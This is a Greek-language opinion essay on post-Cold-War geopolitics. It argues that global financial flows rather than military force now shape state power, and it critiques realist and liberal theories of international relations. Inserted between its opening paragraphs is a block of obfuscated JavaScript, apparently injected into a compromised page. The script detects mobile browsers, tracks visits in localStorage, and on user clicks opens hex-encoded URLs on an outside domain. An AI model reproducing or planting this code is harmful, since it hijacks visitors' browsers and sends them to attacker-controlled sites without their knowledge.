Η εποχή της επιβολής των αγορώ ν επί των πολιτικώ ν των εθνικώ ν κυβερνήσεων δημιουργεί μεγάλα φορτία ρίσκου, επικίνδυνα για τους λαούς.

Η ΝΕΑ ΓΕΩΠΟΛΙΤΙΚΗ ΣΤΟ ΜΕΤΑΒΙΟΜΗΧΑΝΙΚΟ ΚΟΣΜΟ

Ο κόσμος επιβεβαιώνει την περιγραφή που τον εμφανίζει ως ένα άναρχο σύστημα πολιτικών και οικονομικών σχέσεων χωρίς κέντρο παγκόσμιας διακυβέρνησης.

Τα τελευταία είκοσι και κάτι χρόνια, μετά δηλαδή την ρευστοποίηση της σοβιετικής Ένωσης, η πολιτική ισχύς ενός κράτους δεν επιδιώκεται μέσω των παραδοσιακών εργαλείων της στρατιωτικής υπεροχής, της γεωγραφικής επέκτασης και της στρατηγικής των εθνικών περιχαρακώσεων αλλά μέσω του πεδίου των οικονομικών αλληλεξαρτήσεων και της εξάπλωσης νέων μεθόδων χρησιμοποίησης του χρήματος.

Η μετατόπιση αυτή στις διεθνείς σχέσεις από τη στρατηγική της μιλιταριστικής πολιτικής μεταξύ των μεγάλων δυνάμεων στη δημοκρατική ανταλλαγή οικονομικών μέσων, οφείλεται κατά πρώτο λόγο στην εξασφάλιση μέγιστης καταστροφικής δύναμης που αποκτήθηκε λόγω των πυρηνικών όπλων. Οι μείζονες δυνάμεις του πλανήτη δεν σκέφτονται πλέον να προβούν στη χρήση εξοντωτικών όπλων γιατί το κόστος θα ήταν ανυπολόγιστο για τις ίδιες και τον κόσμο ολόκληρο αλλά και γιατί μετά από ένα πυρηνικό πόλεμο γνωρίζουν καλά πως δεν μπορεί να υπάρξει νικητής.

Οι συμβατικοί πόλεμοι που σημάδεψαν τον εικοστό αιώνα απαιτούσαν ραφιναρισμένες στρατηγικές αποδυνάμωσης του αντιπάλου, ικανότητα κινητοποίησης μεγάλου μεγέθους του εθνικού πλούτου και των ανθρώπων, διορατικές δεξιότητες και ικανότητες πειθούς, απαιτούσαν με άλλα λόγια πολιτικούς κυβερνήτες και μορφές ηγεσίας υψηλών προδιαγραφών.

Η κρατική ισχύς αντλούνταν από την στρατιωτική υπεροχή, τους εξοπλισμούς και την ικανότητα κρατικών συμμαχιών.

Στο σύντομο αυτό άρθρο για την κρατική και παγκόσμια ισχύ, θα δούμε ποιες θεωρίες και πρακτικές είναι εν ισχύ, θα τις αντιπαραβάλουμε με την πραγματικότητα για να δούμε αν πράγματι ανταποκρίνονται στα δεδομένα και αν η συνέχιση τους είναι αποδοτική ή σημαίνει κατασπατάληση πόρων για εξοπλισμούς και τα παρόμοια.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e

laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind

ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Σημείωσα κιόλας ότι έχει παρατηρηθεί τα τελευταία είκοσι χρόνια μια μεταβολή στους παράγοντες που άλλοτε προσέδιδαν ισχύ στα κράτη ή στους συνασπισμούς κρατών. Οι νέοι παράγοντες είναι διαφορετικού περιεχομένου από τους συμβατικούς αλλά αυτό δεν έχει ακόμα κατανοηθεί πλήρως από τους ασκούντες διεθνή πολιτική. Τους διεθνείς θεσμούς, τις περισσότερες κυβερνήσεις και τους επίσημους γραφειοκράτες. Φυσικά τα κράτη δεν έχουν παραιτηθεί από την επιδίωξη για ισχύ και κάνουν ό,τι είναι δυνατόν για να την αποκτήσουν ή να τη διατηρήσουν. Η επιρροή που αγωνίζονται να κατακτήσουν δεν σημαίνει ταυτόχρονα και ηγεμονία έναντι άλλων κρατών αλλά βελτίωση της θέσης τους στο παγκόσμιο σύστημα ασφαλείας. Όμως έχουν αναδειχθεί νέα πεδία από τα οποία αναβλύζει η ισχύς και η οποία δεν είναι απαραίτητο να καταλήγει στην κρατική ενδυνάμωση. Σχηματίζονται νέοι διεθνείς πόλοι ισχύος που έρχονται κατά πρόσωπο αντιμέτωποι με την ισχύ των εθνικών κρατών.

Η νέα γεωπολιτική επιρροή απαιτεί και η ίδια ισχύ αλλά αυτή φαίνεται να προέρχεται από το πεδίο της οικονομικής και υλικής ευημερίας, δηλαδή από το πεδίο της χρησιμοποίησης και εκμετάλλευσης των πόρων και της τεχνολογίας. Τα κράτη συναγωνίζονται να αυξήσουν την εθνική τους παραγωγή και το επίπεδο ευημερίας τους, εφαρμόζοντας στρατηγικές που επιδιώκουν να αποδυναμώσουν την αντίστοιχη στρατηγική των αντιπάλων τους. Επειδή το πεδίο της διεθνούς οικονομίας και της ανάλογης αγοράς έχει και αυτό πεπερασμένα όρια, το νέο παίγνιο στρατηγικής δεν καταλήγει σε ένα αποτέλεσμα του τύπου κερδίζω – κερδίζεις. Θα πρέπει συνεπώς να αποδεχθούμε ότι μακροπρόθεσμα τα κέρδη του ενός αποβαίνουν στις ζημιές του άλλου. Το τρέχον παράδειγμα του νομισματικού ανταγωνισμού Κίνας και ΗΠΑ, είναι κάτι περισσότερο από απόδειξη, όπως επίσης και ότι το έλλειμμα του ενός είναι το πλεόνασμα του άλλου. Με άλλα λόγια ίσως είναι ένα γεωοικονομικό παίγνιο μηδενικού αθροίσματος αν και στη περίπτωση αυτή οι ποιοτικές κατηγορίες που συνέχουν τις διεθνείς σχέσεις δεν είναι απολύτως εύκολο να ποσοτικοποιηθούν.

Ο αγώνας των κρατών για απόκτηση ισχύος αναπαριστά τον ανταγωνισμό για την κατοχύρωση της εθνικής ασφάλειας. Αυτό σημαίνει πως η εμπιστοσύνη μεταξύ τους, τουλάχιστον μεταξύ των μεγάλων δυνάμεων δεν είναι εξασφαλισμένη. Παρά το γεγονός ότι οι οικονομικές αλληλεξαρτήσεις γίνονται ολοένα και ισχυρότερες, παρά το γεγονός ότι υπάρχουν διεθνείς θεσμοί, όπως ο ΟΗΕ, στις διαδικασίες των οποίων υποτίθεται ότι μπορούν να επιλυθούν οι οποιεσδήποτε διαφορές, εντούτοις η καχυποψία παραμένει και οδηγεί τις κρατικές ηγεσίες να διατηρούν και να επεξεργάζονται κρυφές εθνικές ατζέντες. Οι λόγοι όμως που γεννούν την καχυποψία δεν είναι ο φόβος για εδαφική επέκταση σε βάρος τους, όπως θα δούμε, αλλά αφορούν στις μεγάλες διακυμάνσεις των ασταθών λειτουργιών του νέου διεθνούς συστήματος.

Οι θεωρίες για τις διεθνείς σχέσεις είναι πολλές αλλά επικρατούν κατά το πλείστον δύο. Η φιλελεύθερη θεωρία και ο ρεαλισμός. Η πρώτη υποστηρίζει ότι εφ' όσον τα κράτη έχουν εγκαταστήσει δημοκρατικά καθεστώτα στη βάση των ανοικτών αγορών, οι διαμάχες που οδηγούν σε ανοικτές συγκρούσεις είναι σχεδόν απίθανες. Αντίθετα ο ρεαλισμός, επιθετικός ή αμυντικός, υποστηρίζει ότι όσο και αν τα κράτη έχουν αναπτύξει οικονομικές και εμπορικές σχέσεις μεταξύ τους, αυτό δεν τα παρεμποδίζει, όταν θεωρούν ότι απειλείται η εθνική τους ασφάλεια, να χρησιμοποιήσουν ακόμα και το στρατιωτικό τους δυναμικό. Το παράδειγμα του πρώτου παγκοσμίου πολέμου, που διέκοψε τις διαδικασίες της πρώτης φάσης της παγκοσμιοποίησης, δηλαδή της διεθνοποίησης των αγορών, επιστρατεύεται για να επιβεβαιώσει αυτή τη θεωρία.

Είτε αποδεχθούμε τη μία είτε την άλλη θεωρία, και αποπειραθούμε να τη θέσουμε υπό τη δοκιμασία της επαλήθευσης, θα διαπιστώσουμε ότι καμία από αυτές δεν έχει τη δύναμη της γενικής επικράτησης. Ίσως μεταξύ δύο ή τριών δημοκρατικών χωρών με καλό ιστορικό συνεργασίας να ισχύει ο φιλελευθερισμός και η ωφελιμιστική αρχή του κόστους / οφέλους. Ίσως πάλι μεταξύ άλλων κρατών με αντίθετο ιστορικό να ισχύει ο ρεαλισμός και ο ανταγωνισμός ασφαλείας ακόμα και με στρατιωτικά μέσα. Τα παραδείγματα στις σχέσεις των κρατών είναι πολλά και για τη μία και για την άλλη θεωρία. Θα μπορούσαμε να συμπεράνουμε κατά συνέπεια ότι καμία από τις δύο θεωρίες δεν έχει γενική ισχύ και ότι επηρεάζει καθοριστικά τη πολιτική των κρατών.

Είναι πραγματικότητα ότι τα εθνικά κράτη είναι οι κύριες μονάδες πολιτικής σε ολόκληρο τον κόσμο. Η απουσία ενός κέντρου διεθνούς διακυβέρνησης, αποδεκτού από όλα τα κράτη, τα οδηγεί στη διαρκή αναζήτηση μέσων εξασφάλισης της εθνικής ασφάλειας και αν είναι δυνατόν και επέκτασης της επιρροής.

Θα ήταν μεγάλο λάθος να αξιολογούνται οι διεθνείς πολιτικές των κρατών με τα ίδια κριτήρια. Τα μεγάλα εθνικά κράτη, έχουν διεθνοποιήσει ένα μέρος των συμφερόντων τους ενώ τα μικρά ως επί το πλείστον έχουν καλλιεργήσει εσωστρεφή προσανατολισμό και αδυναμία ένταξης στις διεθνικές διαδικασίες.

Η θεωρία του ρεαλισμού ισχυρίζεται ότι η απουσία διεθνούς κέντρου καθορισμού ασφαλείας και η ιστορία των συγκρούσεων, συνιστούν δύο βασικές παραμέτρους οι οποίες εξηγούν τις πολιτικές των κρατών για τον ανταγωνισμό ασφάλειας. Τα μεγάλα κράτη δεν εμπιστεύονται το ένα το άλλο και γι' αυτό εξοπλίζονται με στρατιωτικά μέσα τα οποία δεν θα διστάσουν να χρησιμοποιήσουν σε κάθε ενδεχόμενο.

Αν και στη πρώτη θεώρηση φαίνονται ισχυρές οι αναλύσεις αυτές, ωστόσο η βαθύτερη έρευνα μπορεί να αποκαλύψει ατέλεια, μερικότητα και επιφανειακότητα, ταυτόχρονα.

Το πρώτο επιχείρημα περί απουσίας πολιτικού θεσμικού πλανητικού κέντρου διακυβέρνησης, είναι πράγματι ορατό και τυπικό. Αλλά η αναζήτηση ενός τέτοιου κέντρου, (παγκόσμιος νυχτοφύλακας), το οποίο θα εγγυούνταν την διεθνή ασφάλεια εντάσσεται στην παραδοσιακή και συμβατική θεωρία των διεθνών σχέσεων. Δεν είναι ούτε αναγκαίο ούτε ικανό για να σταθεροποιήσει τον άξονα ισορροπίας στο διεθνές σύστημα ασφαλείας, αλλά μάλλον αρκετό για να δημιουργήσει ένα ακόμα γιγαντιαίο γραφειοκρατικό σώμα. Αν όμως ψάξουμε μέσα στις διεθνείς δομές λειτουργίας του συστήματος θα ανακαλύψουμε ένα τέτοιο «κέντρο» που διαμορφώνει και ρυθμίζει τις δομές και τις λειτουργίες σε κάθε επίπεδο, των επιμέρους εθνικών κρατών. Ένα άτυπο λειτουργικό κέντρο καθιερωμένων δομών το οποίο δεν έχει τοπικό / χωρικό χαρακτήρα. Περισσότερο είναι ένα «άτυπο», ατοπικό περιστρεφόμενο σύστημα λειτουργιών, κυρίως οικονομικού και τεχνολογικού χαρακτήρα, γρήγορου ρυθμού, που δυναμικά μπορεί να ρυθμίσει και να καθορίσει τις επιλογές και συμπεριφορές των κρατών. Πάνω από τις γεωγραφικές εθνικές επικράτειες, με κυκλικές περιστροφές ή γραμμικές ακτινώσεις, πλήθος οικονομικών και τεχνολογικών «αστεροειδών» ενσωματώνουν κάθε ωφέλιμο στοιχείο από τις γεωοικονομικές ζώνες των περιφερειών και αποβάλλουν κάθε επιζήμιο ή επιβλαβές. Και όταν λέμε «οικονομικό» εννοούμε ασφαλώς τις μεγάλες κεφαλαιακές ροές που μεταπηδούν από τη Δύση στην Ανατολή, σε κλάσμα δευτερολέπτου, με όχημα τις πολυσχιδείς πολυεθνικές εταιρίες και χρηματιστικούς ομίλους, και όταν λέμε «τεχνολογία» εννοούμε την καινοτομία του νέου

προϊόντος ή τη νέα μέθοδο, και τη γρήγορη κατανάλωση της. Οι κυκλικές περιστροφές κεφαλαίων, εν είδη επενδύσεων, συγκεντρώνουν ό,τι είναι προσοδοφόρο από τις μακρινές ζώνες και το εναποθέτουν για λίγο, σε ασφαλή καταφύγια ενώ οι γραμμικές ακτινώσεις οικονομίας και τεχνολογίας φτάνουν έως και τη παγωμένη Αλάσκα για να πάρουν και την τελευταία σταγόνα πετρελαίου. Και αυτή η σταγόνα θα διαιρεθεί πολλές φορές σε μικρά συμβόλαια μελλοντικής εκπλήρωσης και θα πουληθεί άλλες τόσες δημιουργώντας μεγάλες κυκλικές περιστροφές κεφαλαίων που θα ίπτανται χωρίς πατρίδα και χωρίς τόπο. Το ίδιο και στη πλατίνα, στο χρυσό και στο καλαμπόκι. Με τον τρόπο αυτό δημιουργούνται σύνολα άδηλων διεθνών δομών χωρίς το παραδοσιακό τυπικό κέντρο σχεδιασμού και χωρίς υποκείμενο. Κανείς δεν γλιτώνει από την ορμητικότητα της δύνης και κανείς δεν μπορεί να αντισταθεί. Ούτε και αυτές οι ΗΠΑ, η Γουώλ Στρητ και το Σίτυ που θεωρούνται οι γενετήσιοι παράγοντες. Αν και κανείς δεν το επεδίωξε με προγραμματισμό, δημιουργήθηκε ένα σχήμα αντεστραμμένης πυραμίδας πλούτου όπου μια πολύ μικρή πραγματική παραγωγική βάση «στηρίζει» μια γιγαντιαία πεπλατισμένη «κορυφή» που βλέπεις ότι από στιγμή σε στιγμή απειλεί να τη συντρίψει. Ένα παγκόσμιο πραγματικό ΑΕΠ 65 τρις δολαρίων κατορθώνει να υποβαστά, ακόμα, ένα χρηματοοικονομικό σύστημα που αγγίζει το ένα τετράκις. Και πάνω στον παραλογισμό οικοδομούνται συνεχώς νέες στοιβάδες παραλογισμού υπέρ πλούτου και υπέρ φτώχειας ακόμα και στα κέντρα των μειζόνων δυνάμεων. Προκαλεί εντύπωση η σταθερότητα αυτού του συστήματος και η κτηνώδης αδιαφορία του για τις συνέπειες της κοινωνικής διαίρεσης που δημιουργεί. Το σύστημα αυτό δεν μοιάζει με τον καπιταλισμό που ξέραμε και οι διευθετήσεις των αντινομιών του δεν επιτυγχάνονται με παραδοσιακά πολιτικά μέσα. Ούτε οι σύγχρονοι πολιτικοί μοιάζουν με τους παραδοσιακούς εθνικούς λαϊκούς ηγέτες αλλά προέρχονται από τα διοικητικά συμβούλια των διεθνών κεφαλαιακών οίκων όπως ο Ρόμνεϊ ή ο Πόλσον ή ο Ντράγκι. Χώρες που επιθυμούν να απέχουν απ' τους κεφαλαιακούς στροβιλισμούς γρήγορα έρχονται αντιμέτωπες με το σκιάχτρο της φτώχιας αλλά και αυτές που επιθυμούν να συμμετέχουν βλέπουν να χάνουν κομμάτια των κοινωνιών τους στη δύνη αυτού του στροβίλου.

Άρα, το συμπέρασμα που προκύπτει, για να επανέλθουμε στον ισχυρισμό του ρεαλισμού, είναι ότι δεν απαιτούνται γεγονότα στρατιωτικών συγκρούσεων για να επιτευχθεί ισορροπία στο σύστημα ασφαλείας αλλά αυτό γίνεται καθημερινά και άδηλα και χωρίς τη χρήση στρατιωτικών μέσων. Η ισορροπία δε που επιτυγχάνεται είναι συνεχώς ασταθής και εύθραυστη αλλά συνεχώς ανανεούμενη. Έχουμε να κάνουμε με ένα νέο τύπο διεθνούς συστήματος που διαρκώς αναβάλει το σημείο διαμελισμού του λόγω μιας απίθανης ευελιξίας που η γέννηση και η φθορά αποκτούν ιλιγγιώδεις ρυθμούς.

Σε ό,τι αφορά στο δεύτερο ισχυρισμό της θεωρίας του ρεαλισμού, που αναφέρεται στην ιστορία των συγκρούσεων ανάμεσα στα κράτη, αυτός επίσης ελέγχεται ως ανακριβής. Είναι αρκετά απλοϊκό στο σύγχρονο αυτό κόσμο να προβάλουμε το παρελθόν πάνω στο παρών και στο μέλλον. Τι και αν η Γαλλία αποπειράθηκε να κατακτήσει τη Ρωσία με το Ναπολέοντα; Λίγο αργότερα τα δύο αυτά μείζονα κράτη έκριναν ωφέλιμο να συμμαχήσουν εναντίον της απειλητικής Γερμανίας. Τι και αν ο Στάλιν συμμάχησε το 1939 με τον Χίτλερ,

λίγο αργότερα ο ένας κατασπάραζε τον άλλον. Η Γαλλία και η Γερμανία βρέθηκαν τα τελευταία εκατόν πενήντα χρόνια τρείς φορές στρατιωτικά αντιμέτωπες. Το 1870-71, το 1914 και το 1940, αλλά τώρα είναι οι δύο κύριες δυνάμεις, που «πολιτικά» οδηγούν τις εξελίξεις στην Ε. Ένωση. Άρα το επιχείρημα που θέλει τις χώρες που συγκρούστηκαν στο παρελθόν να μη εμπιστεύονται η μία την άλλη στο παρών και να δυσπιστούν στο μέλλον, μάλλον είναι κατάλληλο για συμβατική και αναχρονιστική προσέγγιση. Η δυσπιστία θα προέλθει όταν θα διακοπεί ο κυκλικός και ακτινωτός στροβιλισμός κεφαλαίου.

Στο σύγχρονο κόσμο η πολυπλοκότητα των σχέσεων περικλείει πολύ συχνές συγκρούσεις και συμμαχίες σε ένα συνεχές παίγνιο διαπραγματεύσεων και διαβουλεύσεων, πράξεων και συναλλαγών, που ανανεώνει αδιάκοπα μια εύθραυστη μερική και όχι ολική, ισορροπία δυνάμεων.

Στο σύγχρονο κόσμο οι στρατηγικοί παίκτες δεν είναι αυτοί που διαθέτουν μεγάλο πληθυσμό ή τεράστιες δαπάνες για εξοπλισμούς. Είναι αυτοί που μάλλον είναι «εθισμένοι» στη τεχνολογική καινοτομία, αυτοί που διαθέτουν υψηλής στάθμης επιστημονικό δυναμικό και αυτοί που λαμβάνουν γρήγορα ορθές, γενικά, αποφάσεις.

Στην άλλη όχθη, η φιλελεύθερη θεωρία των διεθνών σχέσεων είναι περισσότερο αισιόδοξη.

Η επιχειρηματολογία της είναι απλή και αμφισβητούμενη. Συνδέει την εσωτερική πολιτική διαμόρφωση μιας χώρας με τη διεθνή της πολιτική. Οι χώρες με κοινοβουλευτικές δημοκρατίες, ιδιοκτησία και ελεύθερες ανοικτές αγορές, δεν είναι καθόλου εύκολο να καταλήξουν σε ανοικτή στρατιωτική σύγκρουση. Ο λόγος είναι ότι αυτά που έχουν να χάσουν είναι πολύ περισσότερα απ' αυτά που ενδεχομένως να κερδίσουν. Κατά συνέπεια, όταν όλα τα κράτη αποκαταστήσουν δημοκρατικά καθεστώτα οι συνθήκες ειρηνικής ζωής θα είναι μόνιμες και σταθερές. Ο γνωστός κύκλος της ιστορίας των συγκρούσεων θα τελειώσει και ένας νέος δημοκρατικής ειρήνης ενδέχεται να ανοίξει.

Το ερώτημα που τίθεται εδώ είναι πόσο ανοικτές μπορεί να είναι οι εθνικές οικονομίες; Ακόμα και η οικονομία των ΗΠΑ, η αγορά της οποίας θεωρείται η πιο λειτουργική και αδέσμευτη, συνδέεται με τη διεθνή κατά ένα μικρό μέρος των εμπορικών της συναλλαγών που δεν ξεπερνά το 16%. Γρήγορα θα μπορούσε να καλύψει τις εισαγωγές της από την εγχώρια παραγωγή αν βρισκόταν στην ανάγκη να προβληματιστεί για θέματα ασφάλειας ή αλλαγής των ισορροπιών του διεθνούς συστήματος ισχύος.

Η φιλελεύθερη θεωρία δηλώνει ότι οι δημοκρατίες δεν κηρύσσουν πόλεμο σε άλλες δημοκρατίες. Η βασική τους επιδίωξη είναι η υλική ευημερία και η βελτίωση του συνολικού και ατομικού βιοτικού επιπέδου.

